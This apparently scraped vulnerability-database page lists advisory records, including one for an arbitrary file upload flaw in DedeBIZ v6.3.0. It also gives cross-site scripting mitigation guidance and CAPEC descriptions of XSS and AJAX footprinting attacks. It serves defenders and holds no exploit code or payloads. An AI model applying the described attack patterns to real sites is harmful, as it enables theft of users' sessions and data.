"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-4967"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/07/msg00011.html"
},
{
"type": "WEB",
"url": "https://pivotal.io/security/cve-2017-4965"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-627R-GC28-6645
Vulnerability from github – Published: 2024-11-20 18:32 – Updated: 2025-06-13 15:30An arbitrary file upload vulnerability in the component /admin/file_manage_control of DedeBIZ v6.3.0 allows attackers to execute arbitrary code via uploading a crafted file.
{
"affected": [],
"aliases": [
"CVE-2024-52770"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-20T17:15:20Z",
"severity": "CRITICAL"
},
"details": "An arbitrary file upload vulnerability in the component /admin/file_manage_control of DedeBIZ v6.3.0 allows attackers to execute arbitrary code via uploading a crafted file.",
"id": "GHSA-627r-gc28-6645",
"modified": "2025-06-13T15:30:25Z",
"published": "2024-11-20T18:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52770"
},
{
"type": "WEB",
"url": "https://co-a1natas.feishu.cn/docx/Zsd9dnGUvoBW6tx0G5fcVx6vnBb"
},
{
"type": "WEB",
"url": "https://github.com/DedeBIZ/DedeV6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.